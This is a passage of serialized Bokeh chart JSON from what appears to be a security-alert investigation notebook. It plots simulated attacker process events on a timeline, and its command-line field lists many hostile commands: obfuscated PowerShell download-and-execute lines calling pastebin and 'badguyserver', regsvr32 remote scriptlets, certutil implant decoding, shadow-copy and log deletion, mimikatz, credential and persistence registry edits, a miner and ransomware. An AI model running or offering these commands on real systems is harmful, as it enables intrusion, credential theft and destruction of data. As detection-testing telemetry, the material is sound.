\\\System32\\\\HOSTNAME.EXE\",\"C:\\\\Windows\\\\System32\\\\NETSTAT.EXE\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\dubrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\nlbrute.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Windows\\\\System32\\\\net.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\smss.exe\",\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ASC_Alerttest_662jfi039n.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\powershell.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\wuauclt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\lsass.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cacls.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\2840.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\pcalua.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\findstr.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\odbcconf.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\SQLDumper.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mt.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\hd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\certutil.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Windows\\\\System32\\\\sc.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\cmd.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\reg.exe\",\"C:\\\\Windows\\\\Fonts\\\\csrss.exe\",\"C:\\\\Windows\\\\Fonts\\\\conhost.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\mimikatz.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\rundll32.exe\",\"C:\\\\Diagnostics\\\\UserTmp\\\\regsvr32.exe\",\"C:\\\\Windows\\\\System32\\\\tasklist.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\win32calc.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ANBV9v6EdkIAcHT2/oR2QgBQe/b+hHZCAEB/9v6EdkIAAIP2/oR2QgDghPb+hHZCAECJ9v6EdkIA4In2/oR2QgAwjfb+hHZCAFCQ9v6EdkIAcJP2/oR2QgBQlPb+hHZCAACX9v6EdkIA8Jn2/oR2QgBwnPb+hHZCACCf9v6EdkIA0KH2/oR2QgBwpvb+hHZCAMCp9v6EdkIAUK32/oR2QgBwsPb+hHZCABCx9v6EdkIAEEHz/oR2QgDwTPP+hHZCAJBN8/6EdkIA4FXz/oR2QgDwXPP+hHZCAGBx8/6EdkIAMKP0/oR2QgCwHPX+hHZCADAf9f6EdkIAECL1/oR2QgDAQfX+hHZCAFBL9f6EdkIAEFP1/oR2QgDAtPX+hHZCAEC89f6EdkIAkMP1/oR2QgDQyvX+hHZCAPDR9f6EdkIAMNn1/oR2QgAQ4PX+hHZCAHBh9f6EdkIAsGz1/oR2QgAwcPX+hHZCADB09f6EdkIAsHf1/oR2QgCQiPX+hHZCABCQ9f6EdkIA4Jn1/oR2QgDwpPX+hHZCAIA19v6EdkIAEDr2/oR2QgAwPfb+hHZCAFA/9v6EdkIAAEf2/oR2QgCwSfb+hHZCAABM9v6EdkIAEE72/oR2QgAgT/b+hHZCAEBS9v6EdkIA8Fj2/oR2QgAQXPb+hHZCADBf9v6EdkIAgGL2/oR2QgAwZfb+hHZCAOBm9v6EdkIAQGv2/oR2QgAwbvb+hHZCAFBx9v6EdkIAQLb2/oR2QgAwv/b+hHZCACDC9v6EdkIAEMX2/oR2QgBQx/b+hHZCAADJ9v6EdkIAIMz2/oR2QgDAzPb+hHZCACDR9v6EdkIAAOz2/oR2QgDw+Pb+hHZCABD89v6EdkIAMAD3/oR2QgAgA/f+hHZCAEAG9/6EdkIAMAn3/oR2QgCQCff+hHZCAGAO9/6EdkIA4BD3/oR2QgAwE/f+hHZCACAX9/6EdkIAQBr3/oR2QgAwHff+hHZCAFAg9/6EdkIAcCP3/oR2QgAgJvf+hHZCAEAp9/6EdkIAcC33/oR2QgDAMPf+hHZCAHAz9/6EdkIAkDr3/oR2QgCwPvf+hHZCAHBB9/6EdkIAIET3/oR2QgAQR/f+hHZCAPBJ9/6EdkIAEEz3/oR2QgAQ7/X+hHZCAND29f6EdkIAUP/1/oR2QgDQC/b+hHZCADAQ9v6EdkIAUBP2/oR2QgBQGPb+hHZCACAd9v6EdkIAcEDz/oR2QgDQsfX+hHZC\",\"dtype\":\"float64\",\"shape\":[117]},\"WrapCmdl\":[\".\\\\ftp -s:C:\\\\RECYCLER\\\\xxppyy.exe\",\".\\\\reg not /domain:everything that /sid:shines is /krbtgt:golden\\n\",\"cmd /c \\\"systeminfo && systeminfo\\\"\",\".\\\\rundll32 /C 12345.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\12345.exe\",\".\\\\rundll32 /C 1234.exe\",\".\\\\rundll32 /C c:\\\\users\\\\MSTICAdmin\\\\1234.exe\",\".\\\\rundll32 /C reg.exe\",\".\\\\reg.exe add \\\\hkcu\\\\software\\\\microsoft\\\\some\\\\key\\\\Run\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\tsetup.1.exe\\nC:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\Temp\\\\2\\\\is-01DD7....\\n\",\".\\\\rundll32.exe /C mshtml,RunHTMLApplication javascript:alert(tada!)\\n\",\".\\\\netsh.exe \\\"in (*.exe) do start # artificial commandline\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Set-ExecutionPolicy\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell Enable-WSManCredSSP\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&powershell winrm\\nset winrm/config/service/Auth @{Kerberos=003D\\\"true\\\"}&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\ProgramData\\\"©\\n\\\\\\\\[REDACTED]\\\\c$\\\\users\\\\[REDACTED]\\\\Documents\\\\\\\"Passwo... Change\\n\",\".\\\\cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\".\\\\cmd /c \\\"cd /d \\\"C:\\\\inetpub\\\\wwwroot\\\"&del C:\\\\inetpub\\\\logs\\\\logFiles\\\\W3SVC1\\\\*.log\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\perfc.dat \",\"c:\\\\Diagnostics\\\\UserTmp\\\\sdopfjiowtbkjfnbeioruj.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\doubleextension.pdf.exe \",\"vssadmin delete shadows /all /quiet\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; romead@microsoft.com;\\nianhelle@microsoft.com; marcook@microsoft.com; dotanp@microsoft.com;\\n\",\"net user adm1nistrator Bob_testing /add\",\"\",\"net use q: \\\\\\\\MSTICAlertsWin1\\\\TestShare Bob_testing /User:adm1nistrator\\n\",\"net use q: /delete\",\"net share TestShare /delete\",\"net user adm1nistrator /delete\",\".\\\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\",\"cmd /c \\\"echo TVqQAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAA >>\\n\",\"cmd /c \\\"echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> delme.b64\\\"\\n\",\".\\\\powershell.exe -c \\\"$a = 'Download'+'String'+\\\"(('ht'+'tp://paste'+\\n'bin/'+'raw/'+'pqCwEm17'))\\\";$b = '(New-Object' + ' Net.WebClient)';'$b.$a'\\n\",\".\\\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\\\"{2}{0}{1}\\\"-f\\n\",\"cmd /c \\\".\\\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS\\ni^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^tar^t-bITSTRanS^fER\\n-^SOURCE^ 'http://somedomain/best-kitten-names-1.jpg'\\n^-d^EStIN^At^IOn\\n\",\"cmd /c \\\".\\\\n^e^t u^se^r\\\"\",\".\\\\powershell -enc\\n\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"cmd /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >> blah.ps1\\\"\\n\",\"certutil -decode delme.b64 implant.exe\",\"implant.exe k111\",\"implant.exe 81ed03caf6901e444c72ac67d192fb9c\",\"implant.exe -b -t -m\",\"cmd /c \\\"echo Invoke-Expression Get-Process; Invoke-WebRequest\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\\\"\\n\",\".\\\\powershell Invoke-Shellcode.ps1\",\".\\\\powershell Invoke-ReverseDnsLookup.ps1\",\".\\\\powershell -command \\\"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb'\\n\",\"net localgroup Administrators\",\"whoami\",\"hostname\",\"netstat -an\",\"net user Bob1 /domain\",\"net user BobX /domain\",\"net group \\\"Domain Admins\\\" /domain\",\".\\\\rUnDlL32 /C ShEll32Control_RanDLL.dll\",\".\\\\reg query add mscfile\\\\\\\\\\\\\\\\open\",\".\\\\reg add Image File Execution Options sethc.exe\",\".\\\\dubrute.exe\",\".\\\\nlbrute.exe\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x1\\n\",\".\\\\reg add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Control\\\\Terminal\\nServer\\\" /v \\\"fDenyTSConnections\\\" /t REG_DWORD /d 0x0\\n\",\"net use v: \\\\\\\\tsclient\\\\c\",\"net v: /delete\",\"cmd /c C:\\\\Windows\\\\System32\\\\mshta.exe\\nvbscript:CreateObject(\\\"Wscript.Shell\\\").Run(\\\".\\\\powe... -c\\n\\\"\\\"$x=$((gp HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\nCertificate).Certificate);.\\\\powershell -E $y\\\"\\\"\\\",0,True)(window.close)\\n\",\".\\\\netsh advfirewall firewall add rule name=RbtGskQ action=allow\\n\",\".\\\\reg add\\nHKLM\\\\KEY_LOCAL_MACHINE\\\\...securityproviders\\\\wdiges... uselogoncredential\\n\",\"c:\\\\Windows\\\\System32\\\\cmd.exe /c net user\",\"cmd /c c:\\\\Diagnostics\\\\UserTmp\\\\scrsave.scr\\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\svchost.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\smss.exe \",\"c:\\\\Windows\\\\System32\\\\svchost.exe -k malicious\",\"cmd.exe /c echo createobject\\\"msxml2.xmlhttp\\\") \",\"ASC_Alerttest_662jfi039n.exe -foo\",\".\\\\powershell.exe -command\\n\",\"netsh start capture=yes IPv4.Address=1.2.3.4\\n\",\".\\\\wuauclt.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\".\\\\lsass.exe /C \\\"c:\\\\windows\\\\softwaredistribution\\\\cscript.exe\\\"\\n\",\"cmd /c \\\"powershell wscript.shell used to download a\\n\",\"cacls.exe c:\\\\windows\\\\system32\\\\wscript.exe /e /t /g everyone:f\\n\",\"cmd /c \\\"cd /d\\n\\\"C:\\\\inetpub\\\\wwwroot\\\"&c:\\\\windows\\\\system32\\\\inetsrv\\\\a... set\\nconfig \\\"Default Web Site/\\\" /section:httplogging /dontLog:true&echo\\n\",\"c:\\\\Diagnostics\\\\UserTmp\\\\2840.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\a_keygen.exe \",\"cmd /c echo \\\" SYSTEMINFO && SYSTEMINFO && DEL \\\"\",\"c:\\\\Diagnostics\\\\UserTmp\\\\bittorrent.exe \",\"c:\\\\Diagnostics\\\\UserTmp\\\\netsh.exe firewall set opmode\\n\",\"cmd /c echo rundll32.exe perfc.dat\",\"c:\\\\Diagnostics\\\\UserTmp\\\\ransomware.exe @ abc.com abc.wallet\\n\",\"cmd /c echo /e:vbscript.encode /b\",\"pcalua.exe -a \\\\\\\\server\\\\payload.dll\",\"findstr /si password sysvol *.txt\",\"odbcconf.exe /S /A {REGSVR\\n\",\"odbcconf.exe /f my.rsp\\u00e1\\u00e1\",\"sqldumper.exe 464 0 0x0110:40\",\"mt.exe port\",\"mt.exe smb\",\"hd.exe -pslist\",\"hd.exe -enum\",\"netsh.exe PortOpenning\",\"certutil -urlcache -split -f http://127.0.0.1/ \",\".\\\\reg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\".\\\\reg delete \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Svchost\\\\MyNastySvcHostConfig\\\"\\n\",\"sc create MSTICTestService\\nbinPath=C:\\\\Users\\\\MSTICA~1\\\\AppData\\\\Local\\\\Temp\\\\hd.ex... DisplayName=\\\"Test\\n\",\"sc delete MSTICTestService\",\"cmd /c \\\"echo blahtest > \\\\\\\\.\\\\pipe\\\\blahtest\\\"\",\".\\\\reg.exe add \\\"hkcu\\\\console\\\" /v windowposition /t reg_dword\\n\",\"c:\\\\windows\\\\fonts\\\\csrss.exe\",\"c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\mimikatz.exe\",\".\\\\rundll32.exe /C c:\\\\windows\\\\fonts\\\\conhost.exe\",\".\\\\regsvr32 /u /s c:\\\\windows\\\\fonts\\\\csrss.exe\",\"tasklist\",\"cmd.exe /c c:\\\\Diagnostics\\\\WindowsSimulateDetections.bat\\n\",\"\\\"C:\\\\Windows\\\\System32\\\\win32calc.exe\\\" \"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"a2cc281c-0a62-46c0-841f-c6c5bf2b3815\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"a70fbece-9934-467f-a1e3-182b50ef93bd\",\"type\":\"UnionRenderers\"}},\"id\":\"a4c42fdf-e9d0-402d-a36e-097d6ca6faf1\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"a1af9d8e-4c8c-4a4a-bde2-7cf856149b88\",\"type\":\"ResetTool\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"lightgrey\"},\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":{\"value\":1.0},\"line_color\":{\"value\":\"black\"},\"line_dash\":[4,4],\"line_width\":{\"value\":2},\"plot\":null,\"render_mode\":\"css\",\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"80f3814d-4494-4ec8-b926-ad9f54c0c629\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"data_source\":{\"id\":\"a4c42fdf-e9d0-402d-a36e-097d6ca6faf1\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"3adc4189-05f2-4e81-9b2a-e6e3ecaf4f84\",\"type\":\"Circle\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"614ef8b5-fdc9-4795-8fd9-12d270ac5d8d\",\"type\":\"Circle\"},\"selection_glyph\":null,\"view\":{\"id\":\"e4dc41e5-2a93-45c9-9c2a-5e9d591fe3ea\",\"type\":\"CDSView\"}},\"id\":\"2c874df2-e2f5-44b4-998f-ec5b0ce05eaf\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"101303ef-220e-4992-9f87-99a2fae9c926\",\"type\":\"Line\"},{\"attributes\":{},\"id\":\"02063bdd-97b3-475b-ba5d-3f67c3d65517\",\"type\":\"LinearScale\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"bf0ba585-98ee-4eb3-ae19-6767dc5cff44\",\"type\":\"Line\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"renderers\":\"auto\",\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"f00a003d-c2da-4a81-8ed5-1988bd49d60c\",\"type\":\"HoverTool\"},{\"attributes\":{\"callback\":null,\"data\":{\"x\":[1547529315000.0,1547529315000.0],\"y\":[0,2]},\"selected\":{\"id\":\"502dbe55-6c6e-4275-bea8-a0190b17e58e\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"d2e9b17a-1596-47b3-bab4-12804a9addb5\",\"type\":\"UnionRenderers\"}},\"id\":\"2a898068-b811-4f65-aae7-687488ec0c39\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"2a898068-b811-4f65-aae7-687488ec0c39\",\"type\":\"ColumnDataSource\"}},\"id\":\"32e3fd81-3845-48a3-ab8d-2071bfe2ba31\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"c57c1198-6daf-48ed-a21c-cd78d4725510\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"2a898068-b811-4f65-aae7-687488ec0c39\",\"type\":\"ColumnDataSource\"},\"glyph\":{\"id\":\"101303ef-220e-4992-9f87-99a2fae9c926\",\"type\":\"Line\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"bf0ba585-98ee-4eb3-ae19-6767dc5cff44\",\"type\":\"Line\"},\"selection_glyph\":null,\"view\":{\"id\":\"32e3fd81-3845-48a3-ab8d-2071bfe2ba31\",\"type\":\"CDSView\"}},\"id\":\"cf8f2136-d4e1-4078-9374-d3bebcc6ffe8\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"74cd955b-3fd4-4218-be40-f5ac132ceb96\",\"type\":\"DaysTicker\"},{\"attributes\":{\"background_fill_color\":{\"value\":\"white\"},\"border_line_color\":{\"value\":\"red\"},\"plot\":{\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\"Figure\",\"type\":\"Plot\"},\"render_mode\":\"css\",\"text\":\"< Alert time\",\"x\":1547529315000.0,\"y\":0,\"y_offset\":10},\"id\":\"324c2326-abdf-421a-a500-2cbc52ab378a\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"86de1127-1eac-488d-8c98-8955e16dd384\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"1a5c947d-58be-441b-a947-6b3f22a1eaed\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"09c7490a-3aeb-4ac0-b9ec-6f200141eb14\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"e13dccd1-1b96-447d-b58b-45802481baa1\",\"type\":\"DaysTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"19049dd5-5253-4fd5-8a86-7abe783bd56f\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"732d0fb1-2c78-457f-9535-edacd3b81ce5\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"a2cc281c-0a62-46c0-841f-c6c5bf2b3815\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"d3847ed7-83bf-4696-ba37-38fa6a1fb5a8\",\"type\":\"YearsTicker\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"9a183c87-6cfe-4ba5-b6a5-af507b6a8741\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"f00a003d-c2da-4a81-8ed5-1988bd49d60c\",\"type\":\"HoverTool\"},{\"id\":\"42a3acb0-bbfb-4121-ad4c-32602e787a8e\",\"type\":\"PanTool\"},{\"id\":\"77a05bf0-b8ca-43cc-b125-efcfb9941adc\",\"type\":\"WheelZoomTool\"},{\"id\":\"4f9f13fe-08db-4e43-be35-4815839d73cf\",\"type\":\"BoxZoomTool\"},{\"id\":\"a1af9d8e-4c8c-4a4a-bde2-7cf856149b88\",\"type\":\"ResetTool\"}]},\"id\":\"7bfbd006-3d93-4337-9e25-9e780a879942\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"a70fbece-9934-467f-a1e3-182b50ef93bd\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"below\":[{\"id\":\"a31028b3-8ca6-446a-8b03-f83247e77e08\",\"type\":\"DatetimeAxis\"}],\"left\":[{\"id\":\"56f73109-87ee-4ccf-957d-4afae847836a\",\"type\":\"LinearAxis\"}],\"min_border_left\":50,\"plot_height\":250,\"plot_width\":900,\"renderers\":[{\"id\":\"a31028b3-8ca6-446a-8b03-f83247e77e08\",\"type\":\"DatetimeAxis\"},{\"id\":\"ca88be12-6596-49ae-b291-8a4ed149750b\",\"type\":\"Grid\"},{\"id\":\"56f73109-87ee-4ccf-957d-4afae847836a\",\"type\":\"LinearAxis\"},{\"id\":\"2684d76a-906d-4e8c-805d-d112b9425dfb\",\"type\":\"Grid\"},{\"id\":\"80f3814d-4494-4ec8-b926-ad9f54c0c629\",\"type\":\"BoxAnnotation\"},{\"id\":\"2c874df2-e2f5-44b4-998f-ec5b0ce05eaf\",\"type\":\"GlyphRenderer\"},{\"id\":\"cf8f2136-d4e1-4078-9374-d3bebcc6ffe8\",\"type\":\"GlyphRenderer\"},{\"id\":\"324c2326-abdf-421a-a500-2cbc52ab378a\",\"type\":\"Label\"}],\"title\":{\"id\":\"600f9d01-8169-4913-bec6-4e34d219d1e4\",\"type\":\"Title\"},\"toolbar\":{\"id\":\"7bfbd006-3d93-4337-9e25-9e780a879942\",\"type\":\"Toolbar\"},\"x_range\":{\"id\":\"f4c9d5ec-7b8f-48a7-82cc-0839c20fcb23\",\"type\":\"DataRange1d\"},\"x_scale\":{\"id\":\"02063bdd-97b3-475b-ba5d-3f67c3d65517\",\"type\":\"LinearScale\"},\"y_range\":{\"id\":\"fe59af4c-46c5-4973-91f7-cadc5f6ce32d\",\"type\":\"DataRange1d\"},\"y_scale\":{\"id\":\"f16d8cb6-d3db-4015-ba96-9c0e67c8efb1\",\"type\":\"LinearScale\"}},\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"9058ba4f-9bed-408c-b5f9-3a1952dfdff8\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"855c13c5-4257-4510-a574-c3c43e006075\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"0367ccf9-7abe-48ce-a2ea-d163798cba4b\",\"type\":\"DaysTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"fe59af4c-46c5-4973-91f7-cadc5f6ce32d\",\"type\":\"DataRange1d\"},{\"attributes\":{\"months\":[0,4,8]},\"id\":\"631391c2-d4c6-464d-8475-e77a827c6de6\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"plot\":null,\"text\":\"Timeline Alert Process Session\"},\"id\":\"600f9d01-8169-4913-bec6-4e34d219d1e4\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"d2e9b17a-1596-47b3-bab4-12804a9addb5\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1a5c947d-58be-441b-a947-6b3f22a1eaed\",\"type\":\"AdaptiveTicker\"},{\"id\":\"09c7490a-3aeb-4ac0-b9ec-6f200141eb14\",\"type\":\"AdaptiveTicker\"},{\"id\":\"9a183c87-6cfe-4ba5-b6a5-af507b6a8741\",\"type\":\"AdaptiveTicker\"},{\"id\":\"0367ccf9-7abe-48ce-a2ea-d163798cba4b\",\"type\":\"DaysTicker\"},{\"id\":\"c57c1198-6daf-48ed-a21c-cd78d4725510\",\"type\":\"DaysTicker\"},{\"id\":\"74cd955b-3fd4-4218-be40-f5ac132ceb96\",\"type\":\"DaysTicker\"},{\"id\":\"e13dccd1-1b96-447d-b58b-45802481baa1\",\"type\":\"DaysTicker\"},{\"id\":\"732d0fb1-2c78-457f-9535-edacd3b81ce5\",\"type\":\"MonthsTicker\"},{\"id\":\"9058ba4f-9bed-408c-b5f9-3a1952dfdff8\",\"type\":\"MonthsTicker\"},{\"id\":\"631391c2-d4c6-464d-8475-e77a827c6de6\",\"type\":\"MonthsTicker\"},{\"id\":\"19049dd5-5253-4fd5-8a86-7abe783bd56f\",\"type\":\"MonthsTicker\"},{\"id\":\"d3847ed7-83bf-4696-ba37-38fa6a1fb5a8\",\"type\":\"YearsTicker\"}]},\"id\":\"833d02cc-ae71-4f09-9ebe-6392861a4ed8\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"formatter\":{\"id\":\"86de1127-1eac-488d-8c98-8955e16dd384\",\"type\":\"BasicTickFormatter\"},\"plot\":{\"id\":\"96008306-a1ad-46b5-8fda-501a5fc26ff1\",\"subtype\":\